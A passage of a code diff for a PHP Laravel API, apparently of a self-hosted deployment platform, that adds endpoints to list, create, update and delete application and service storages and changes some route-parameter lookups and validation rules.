$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
|
||||
|
||||
if (! $application) {
|
||||
return response()->json([
|
||||
|
|
@ -3510,7 +3520,7 @@ public function delete_env_by_uuid(Request $request)
|
|||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
|
||||
|
||||
if (! $application) {
|
||||
return response()->json([
|
||||
|
|
@ -3520,7 +3530,7 @@ public function delete_env_by_uuid(Request $request)
|
|||
|
||||
$this->authorize('manageEnvironment', $application);
|
||||
|
||||
$found_env = EnvironmentVariable::where('uuid', $request->env_uuid)
|
||||
$found_env = EnvironmentVariable::where('uuid', $request->route('env_uuid'))
|
||||
->where('resourceable_type', Application::class)
|
||||
->where('resourceable_id', $application->id)
|
||||
->first();
|
||||
|
|
@ -3919,4 +3929,525 @@ private function validateDataApplications(Request $request, Server $server)
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[OA\Get(
|
||||
summary: 'List Storages',
|
||||
description: 'List all persistent storages and file storages by application UUID.',
|
||||
path: '/applications/{uuid}/storages',
|
||||
operationId: 'list-storages-by-application-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Applications'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the application.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
)
|
||||
),
|
||||
],
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'All storages by application UUID.',
|
||||
content: new OA\JsonContent(
|
||||
properties: [
|
||||
new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')),
|
||||
new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')),
|
||||
],
|
||||
),
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 400,
|
||||
ref: '#/components/responses/400',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function storages(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
|
||||
if (! $application) {
|
||||
return response()->json([
|
||||
'message' => 'Application not found',
|
||||
], 404);
|
||||
}
|
||||
|
||||
$this->authorize('view', $application);
|
||||
|
||||
$persistentStorages = $application->persistentStorages->sortBy('id')->values();
|
||||
$fileStorages = $application->fileStorages->sortBy('id')->values();
|
||||
|
||||
return response()->json([
|
||||
'persistent_storages' => $persistentStorages,
|
||||
'file_storages' => $fileStorages,
|
||||
]);
|
||||
}
|
||||
|
||||
#[OA\Patch(
|
||||
summary: 'Update Storage',
|
||||
description: 'Update a persistent storage or file storage by application UUID.',
|
||||
path: '/applications/{uuid}/storages',
|
||||
operationId: 'update-storage-by-application-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Applications'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the application.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
)
|
||||
),
|
||||
],
|
||||
requestBody: new OA\RequestBody(
|
||||
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.',
|
||||
required: true,
|
||||
content: [
|
||||
new OA\MediaType(
|
||||
mediaType: 'application/json',
|
||||
schema: new OA\Schema(
|
||||
type: 'object',
|
||||
required: ['type'],
|
||||
properties: [
|
||||
'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
|
||||
'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
|
||||
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
|
||||
'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
|
||||
'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
|
||||
'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'],
|
||||
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'],
|
||||
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'],
|
||||
],
|
||||
additionalProperties: false,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'Storage updated.',
|
||||
content: new OA\JsonContent(type: 'object'),
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 400,
|
||||
ref: '#/components/responses/400',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 422,
|
||||
ref: '#/components/responses/422',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function update_storage(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof \Illuminate\Http\JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
|
||||
|
||||
if (! $application) {
|
||||
return response()->json([
|
||||
'message' => 'Application not found',
|
||||
], 404);
|
||||
}
|
||||
|
||||
$this->authorize('update', $application);
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'uuid' => 'string',
|
||||
'id' => 'integer',
|
||||
'type' => 'required|string|in:persistent,file',
|
||||
'is_preview_suffix_enabled' => 'boolean',
|
||||
'name' => 'string',
|
||||
'mount_path' => 'string',
|
||||
'host_path' => 'string|nullable',
|
||||
'content' => 'string|nullable',
|
||||
]);
|
||||
|
||||
$allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
|
||||
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
|
||||
if ($validator->fails() || ! empty($extraFields)) {
|
||||
$errors = $validator->errors();
|
||||
if (! empty($extraFields)) {
|
||||
foreach ($extraFields as $field) {
|
||||
$errors->add($field, 'This field is not allowed.');
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => $errors,
|
||||
], 422);
|
||||
}
|
||||
|
||||
$storageUuid = $request->input('uuid');
|
||||
$storageId = $request->input('id');
|
||||
|
||||
if (! $storageUuid && ! $storageId) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['uuid' => 'Either uuid or id is required.'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$lookupField = $storageUuid ? 'uuid' : 'id';
|
||||
$lookupValue = $storageUuid ?? $storageId;
|
||||
|
||||
if ($request->type === 'persistent') {
|
||||
$storage = $application->persistentStorages->where($lookupField, $lookupValue)->first();
|
||||
} else {
|
||||
$storage = $application->fileStorages->where($lookupField, $lookupValue)->first();
|
||||
}
|
||||
|
||||
if (! $storage) {
|
||||
return response()->json([
|
||||
'message' => 'Storage not found.',
|
||||
], 404);
|
||||
}
|
||||
|
||||
$isReadOnly = $storage->shouldBeReadOnlyInUI();
|
||||
$editableOnlyFields = ['name', 'mount_path', 'host_path', 'content'];
|
||||
$requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all()));
|
||||
|
||||
if ($isReadOnly && ! empty($requestedEditableFields)) {
|
||||
return response()->json([
|
||||
'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.',
|
||||
'read_only_fields' => array_values($requestedEditableFields),
|
||||
], 422);
|
||||
}
|
||||
|
||||
// Reject fields that don't apply to the given storage type
|
||||
if (! $isReadOnly) {
|
||||
$typeSpecificInvalidFields = $request->type === 'persistent'
|
||||
? array_intersect(['content'], array_keys($request->all()))
|
||||
: array_intersect(['name', 'host_path'], array_keys($request->all()));
|
||||
|
||||
if (! empty($typeSpecificInvalidFields)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => collect($typeSpecificInvalidFields)
|
||||
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]),
|
||||
], 422);
|
||||
}
|
||||
}
|
||||
|
||||
// Always allowed
|
||||
if ($request->has('is_preview_suffix_enabled')) {
|
||||
$storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled;
|
||||
}
|
||||
|
||||
// Only for editable storages
|
||||
if (! $isReadOnly) {
|
||||
if ($request->type === 'persistent') {
|
||||
if ($request->has('name')) {
|
||||
$storage->name = $request->name;
|
||||
}
|
||||
if ($request->has('mount_path')) {
|
||||
$storage->mount_path = $request->mount_path;
|
||||
}
|
||||
if ($request->has('host_path')) {
|
||||
$storage->host_path = $request->host_path;
|
||||
}
|
||||
} else {
|
||||
if ($request->has('mount_path')) {
|
||||
$storage->mount_path = $request->mount_path;
|
||||
}
|
||||
if ($request->has('content')) {
|
||||
$storage->content = $request->content;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$storage->save();
|
||||
|
||||
return response()->json($storage);
|
||||
}
|
||||
|
||||
#[OA\Post(
|
||||
summary: 'Create Storage',
|
||||
description: 'Create a persistent storage or file storage for an application.',
|
||||
path: '/applications/{uuid}/storages',
|
||||
operationId: 'create-storage-by-application-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Applications'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the application.',
|
||||
required: true,
|
||||
schema: new OA\Schema(type: 'string')
|
||||
),
|
||||
],
|
||||
requestBody: new OA\RequestBody(
|
||||
required: true,
|
||||
content: [
|
||||
new OA\MediaType(
|
||||
mediaType: 'application/json',
|
||||
schema: new OA\Schema(
|
||||
type: 'object',
|
||||
required: ['type', 'mount_path'],
|
||||
properties: [
|
||||
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
|
||||
'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
|
||||
'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
|
||||
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
|
||||
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
|
||||
'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
|
||||
'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
|
||||
],
|
||||
additionalProperties: false,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 201,
|
||||
description: 'Storage created.',
|
||||
content: new OA\JsonContent(type: 'object'),
|
||||
),
|
||||
new OA\Response(response: 401, ref: '#/components/responses/401'),
|
||||
new OA\Response(response: 400, ref: '#/components/responses/400'),
|
||||
new OA\Response(response: 404, ref: '#/components/responses/404'),
|
||||
new OA\Response(response: 422, ref: '#/components/responses/422'),
|
||||
]
|
||||
)]
|
||||
public function create_storage(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
if (! $application) {
|
||||
return response()->json(['message' => 'Application not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('update', $application);
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'type' => 'required|string|in:persistent,file',
|
||||
'name' => 'string',
|
||||
'mount_path' => 'required|string',
|
||||
'host_path' => 'string|nullable',
|
||||
'content' => 'string|nullable',
|
||||
'is_directory' => 'boolean',
|
||||
'fs_path' => 'string',
|
||||
]);
|
||||
|
||||
$allAllowedFields = ['type', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
|
||||
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
|
||||
if ($validator->fails() || ! empty($extraFields)) {
|
||||
$errors = $validator->errors();
|
||||
if (! empty($extraFields)) {
|
||||
foreach ($extraFields as $field) {
|
||||
$errors->add($field, 'This field is not allowed.');
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => $errors,
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($request->type === 'persistent') {
|
||||
if (! $request->name) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['name' => 'The name field is required for persistent storages.'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
|
||||
if (! empty($typeSpecificInvalidFields)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => collect($typeSpecificInvalidFields)
|
||||
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
|
||||
], 422);
|
||||
}
|
||||
|
||||
$storage = LocalPersistentVolume::create([
|
||||
'name' => $application->uuid.'-'.$request->name,
|
||||
'mount_path' => $request->mount_path,
|
||||
'host_path' => $request->host_path,
|
||||
'resource_id' => $application->id,
|
||||
'resource_type' => $application->getMorphClass(),
|
||||
]);
|
||||
|
||||
return response()->json($storage, 201);
|
||||
}
|
||||
|
||||
// File storage
|
||||
$typeSpecificInvalidFields = array_intersect(['name', 'host_path'], array_keys($request->all()));
|
||||
if (! empty($typeSpecificInvalidFields)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => collect($typeSpecificInvalidFields)
|
||||
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'file'."]),
|
||||
], 422);
|
||||
}
|
||||
|
||||
$isDirectory = $request->boolean('is_directory', false);
|
||||
|
||||
if ($isDirectory) {
|
||||
if (! $request->fs_path) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['fs_path' => 'The fs_path field is required for directory mounts.'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$fsPath = str($request->fs_path)->trim()->start('/')->value();
|
||||
$mountPath = str($request->mount_path)->trim()->start('/')->value();
|
||||
|
||||
validateShellSafePath($fsPath, 'storage source path');
|
||||
validateShellSafePath($mountPath, 'storage destination path');
|
||||
|
||||
$storage = LocalFileVolume::create([
|
||||
'fs_path' => $fsPath,
|
||||
'mount_path' => $mountPath,
|
||||
'is_directory' => true,
|
||||
'resource_id' => $application->id,
|
||||
'resource_type' => get_class($application),
|
||||
]);
|
||||
} else {
|
||||
$mountPath = str($request->mount_path)->trim()->start('/')->value();
|
||||
$fsPath = application_configuration_dir().'/'.$application->uuid.$mountPath;
|
||||
|
||||
$storage = LocalFileVolume::create([
|
||||
'fs_path' => $fsPath,
|
||||
'mount_path' => $mountPath,
|
||||
'content' => $request->content,
|
||||
'is_directory' => false,
|
||||
'resource_id' => $application->id,
|
||||
'resource_type' => get_class($application),
|
||||
]);
|
||||
}
|
||||
|
||||
return response()->json($storage, 201);
|
||||
}
|
||||
|
||||
#[OA\Delete(
|
||||
summary: 'Delete Storage',
|
||||
description: 'Delete a persistent storage or file storage by application UUID.',
|
||||
path: '/applications/{uuid}/storages/{storage_uuid}',
|
||||
operationId: 'delete-storage-by-application-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Applications'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the application.',
|
||||
required: true,
|
||||
schema: new OA\Schema(type: 'string')
|
||||
),
|
||||
new OA\Parameter(
|
||||
name: 'storage_uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the storage.',
|
||||
required: true,
|
||||
schema: new OA\Schema(type: 'string')
|
||||
),
|
||||
],
|
||||
responses: [
|
||||
new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
|
||||
properties: [new OA\Property(property: 'message', type: 'string')],
|
||||
)),
|
||||
new OA\Response(response: 401, ref: '#/components/responses/401'),
|
||||
new OA\Response(response: 400, ref: '#/components/responses/400'),
|
||||
new OA\Response(response: 404, ref: '#/components/responses/404'),
|
||||
new OA\Response(response: 422, ref: '#/components/responses/422'),
|
||||
]
|
||||
)]
|
||||
public function delete_storage(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
|
||||
if (! $application) {
|
||||
return response()->json(['message' => 'Application not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('update', $application);
|
||||
|
||||
$storageUuid = $request->route('storage_uuid');
|
||||
|
||||
$storage = $application->persistentStorages->where('uuid', $storageUuid)->first();
|
||||
if (! $storage) {
|
||||
$storage = $application->fileStorages->where('uuid', $storageUuid)->first();
|
||||
}
|
||||
|
||||
if (! $storage) {
|
||||
return response()->json(['message' => 'Storage not found.'], 404);
|
||||
}
|
||||
|
||||
if ($storage->shouldBeReadOnlyInUI()) {
|
||||
return response()->json([
|
||||
'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
|
||||
], 422);
|
||||
}
|
||||
|
||||
if ($storage instanceof LocalFileVolume) {
|
||||
$storage->deleteStorageOnServer();
|
||||
}
|
||||
|
||||
$storage->delete();
|
||||
|
||||
return response()->json(['message' => 'Storage deleted.']);
|
||||
}
|
||||
}
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -586,7 +586,8 @@ public function createServer(Request $request)
|
|||
}
|
||||
|
||||
// Check server limit
|
||||
if (Team::serverLimitReached()) {
|
||||
$team = Team::find($teamId);
|
||||
if (Team::serverLimitReached($team)) {
|
||||
return response()->json(['message' => 'Server limit reached for your subscription.'], 400);
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -8,9 +8,12 @@
|
|||
use App\Http\Controllers\Controller;
|
||||
use App\Jobs\DeleteResourceJob;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\LocalFileVolume;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use OpenApi\Attributes as OA;
|
||||
|
|
@ -1207,7 +1210,7 @@ public function update_env_by_uuid(Request $request)
|
|||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
|
||||
if (! $service) {
|
||||
return response()->json(['message' => 'Service not found.'], 404);
|
||||
}
|
||||
|
|
@ -1342,7 +1345,7 @@ public function create_bulk_envs(Request $request)
|
|||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
|
||||
if (! $service) {
|
||||
return response()->json(['message' => 'Service not found.'], 404);
|
||||
}
|
||||
|
|
@ -1362,6 +1365,7 @@ public function create_bulk_envs(Request $request)
|
|||
'is_literal' => 'boolean',
|
||||
'is_multiline' => 'boolean',
|
||||
'is_shown_once' => 'boolean',
|
||||
'comment' => 'string|nullable|max:256',
|
||||
]);
|
||||
|
||||
if ($validator->fails()) {
|
||||
|
|
@ -1461,7 +1465,7 @@ public function create_env(Request $request)
|
|||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
|
||||
if (! $service) {
|
||||
return response()->json(['message' => 'Service not found.'], 404);
|
||||
}
|
||||
|
|
@ -1570,14 +1574,14 @@ public function delete_env_by_uuid(Request $request)
|
|||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->route('uuid'))->first();
|
||||
if (! $service) {
|
||||
return response()->json(['message' => 'Service not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('manageEnvironment', $service);
|
||||
|
||||
$env = EnvironmentVariable::where('uuid', $request->env_uuid)
|
||||
$env = EnvironmentVariable::where('uuid', $request->route('env_uuid'))
|
||||
->where('resourceable_type', Service::class)
|
||||
->where('resourceable_id', $service->id)
|
||||
->first();
|
||||
|
|
@ -1848,4 +1852,606 @@ public function action_restart(Request $request)
|
|||
200
|
||||
);
|
||||
}
|
||||
|
||||
#[OA\Get(
|
||||
summary: 'List Storages',
|
||||
description: 'List all persistent storages and file storages by service UUID.',
|
||||
path: '/services/{uuid}/storages',
|
||||
operationId: 'list-storages-by-service-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Services'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the service.',
|
||||
required: true,
|
||||
schema: new OA\Schema(
|
||||
type: 'string',
|
||||
)
|
||||
),
|
||||
],
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 200,
|
||||
description: 'All storages by service UUID.',
|
||||
content: new OA\JsonContent(
|
||||
properties: [
|
||||
new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')),
|
||||
new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')),
|
||||
],
|
||||
),
|
||||
),
|
||||
new OA\Response(
|
||||
response: 401,
|
||||
ref: '#/components/responses/401',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 400,
|
||||
ref: '#/components/responses/400',
|
||||
),
|
||||
new OA\Response(
|
||||
response: 404,
|
||||
ref: '#/components/responses/404',
|
||||
),
|
||||
]
|
||||
)]
|
||||
public function storages(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
|
||||
if (! $service) {
|
||||
return response()->json([
|
||||
'message' => 'Service not found.',
|
||||
], 404);
|
||||
}
|
||||
|
||||
$this->authorize('view', $service);
|
||||
|
||||
$persistentStorages = collect();
|
||||
$fileStorages = collect();
|
||||
|
||||
foreach ($service->applications as $app) {
|
||||
$persistentStorages = $persistentStorages->merge(
|
||||
$app->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application'))
|
||||
);
|
||||
$fileStorages = $fileStorages->merge(
|
||||
$app->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $app->uuid)->setAttribute('resource_type', 'application'))
|
||||
);
|
||||
}
|
||||
foreach ($service->databases as $db) {
|
||||
$persistentStorages = $persistentStorages->merge(
|
||||
$db->persistentStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database'))
|
||||
);
|
||||
$fileStorages = $fileStorages->merge(
|
||||
$db->fileStorages->map(fn ($s) => $s->setAttribute('resource_uuid', $db->uuid)->setAttribute('resource_type', 'database'))
|
||||
);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'persistent_storages' => $persistentStorages->sortBy('id')->values(),
|
||||
'file_storages' => $fileStorages->sortBy('id')->values(),
|
||||
]);
|
||||
}
|
||||
|
||||
#[OA\Post(
|
||||
summary: 'Create Storage',
|
||||
description: 'Create a persistent storage or file storage for a service sub-resource.',
|
||||
path: '/services/{uuid}/storages',
|
||||
operationId: 'create-storage-by-service-uuid',
|
||||
security: [
|
||||
['bearerAuth' => []],
|
||||
],
|
||||
tags: ['Services'],
|
||||
parameters: [
|
||||
new OA\Parameter(
|
||||
name: 'uuid',
|
||||
in: 'path',
|
||||
description: 'UUID of the service.',
|
||||
required: true,
|
||||
schema: new OA\Schema(type: 'string')
|
||||
),
|
||||
],
|
||||
requestBody: new OA\RequestBody(
|
||||
required: true,
|
||||
content: [
|
||||
new OA\MediaType(
|
||||
mediaType: 'application/json',
|
||||
schema: new OA\Schema(
|
||||
type: 'object',
|
||||
required: ['type', 'mount_path', 'resource_uuid'],
|
||||
properties: [
|
||||
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage.'],
|
||||
'resource_uuid' => ['type' => 'string', 'description' => 'UUID of the service application or database sub-resource.'],
|
||||
'name' => ['type' => 'string', 'description' => 'Volume name (persistent only, required for persistent).'],
|
||||
'mount_path' => ['type' => 'string', 'description' => 'The container mount path.'],
|
||||
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, optional).'],
|
||||
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'File content (file only, optional).'],
|
||||
'is_directory' => ['type' => 'boolean', 'description' => 'Whether this is a directory mount (file only, default false).'],
|
||||
'fs_path' => ['type' => 'string', 'description' => 'Host directory path (required when is_directory is true).'],
|
||||
],
|
||||
additionalProperties: false,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
responses: [
|
||||
new OA\Response(
|
||||
response: 201,
|
||||
description: 'Storage created.',
|
||||
content: new OA\JsonContent(type: 'object'),
|
||||
),
|
||||
new OA\Response(response: 401, ref: '#/components/responses/401'),
|
||||
new OA\Response(response: 400, ref: '#/components/responses/400'),
|
||||
new OA\Response(response: 404, ref: '#/components/responses/404'),
|
||||
new OA\Response(response: 422, ref: '#/components/responses/422'),
|
||||
]
|
||||
)]
|
||||
public function create_storage(Request $request): JsonResponse
|
||||
{
|
||||
$teamId = getTeamIdFromToken();
|
||||
if (is_null($teamId)) {
|
||||
return invalidTokenResponse();
|
||||
}
|
||||
|
||||
$return = validateIncomingRequest($request);
|
||||
if ($return instanceof JsonResponse) {
|
||||
return $return;
|
||||
}
|
||||
|
||||
$service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
|
||||
if (! $service) {
|
||||
return response()->json(['message' => 'Service not found.'], 404);
|
||||
}
|
||||
|
||||
$this->authorize('update', $service);
|
||||
|
||||
$validator = customApiValidator($request->all(), [
|
||||
'type' => 'required|string|in:persistent,file',
|
||||
'resource_uuid' => 'required|string',
|
||||
'name' => 'string',
|
||||
'mount_path' => 'required|string',
|
||||
'host_path' => 'string|nullable',
|
||||
'content' => 'string|nullable',
|
||||
'is_directory' => 'boolean',
|
||||
'fs_path' => 'string',
|
||||
]);
|
||||
|
||||
$allAllowedFields = ['type', 'resource_uuid', 'name', 'mount_path', 'host_path', 'content', 'is_directory', 'fs_path'];
|
||||
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
|
||||
if ($validator->fails() || ! empty($extraFields)) {
|
||||
$errors = $validator->errors();
|
||||
if (! empty($extraFields)) {
|
||||
foreach ($extraFields as $field) {
|
||||
$errors->add($field, 'This field is not allowed.');
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => $errors,
|
||||
], 422);
|
||||
}
|
||||
|
||||
$subResource = $service->applications()->where('uuid', $request->resource_uuid)->first();
|
||||
if (! $subResource) {
|
||||
$subResource = $service->databases()->where('uuid', $request->resource_uuid)->first();
|
||||
}
|
||||
if (! $subResource) {
|
||||
return response()->json(['message' => 'Service resource not found.'], 404);
|
||||
}
|
||||
|
||||
if ($request->type === 'persistent') {
|
||||
if (! $request->name) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => ['name' => 'The name field is required for persistent storages.'],
|
||||
], 422);
|
||||
}
|
||||
|
||||
$typeSpecificInvalidFields = array_intersect(['content', 'is_directory', 'fs_path'], array_keys($request->all()));
|
||||
if (! empty($typeSpecificInvalidFields)) {
|
||||
return response()->json([
|
||||
'message' => 'Validation failed.',
|
||||
'errors' => collect($typeSpecificInvalidFields)
|
||||
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type 'persistent'."]),
|
||||
], 422);
|
||||
}
|
||||
|
||||
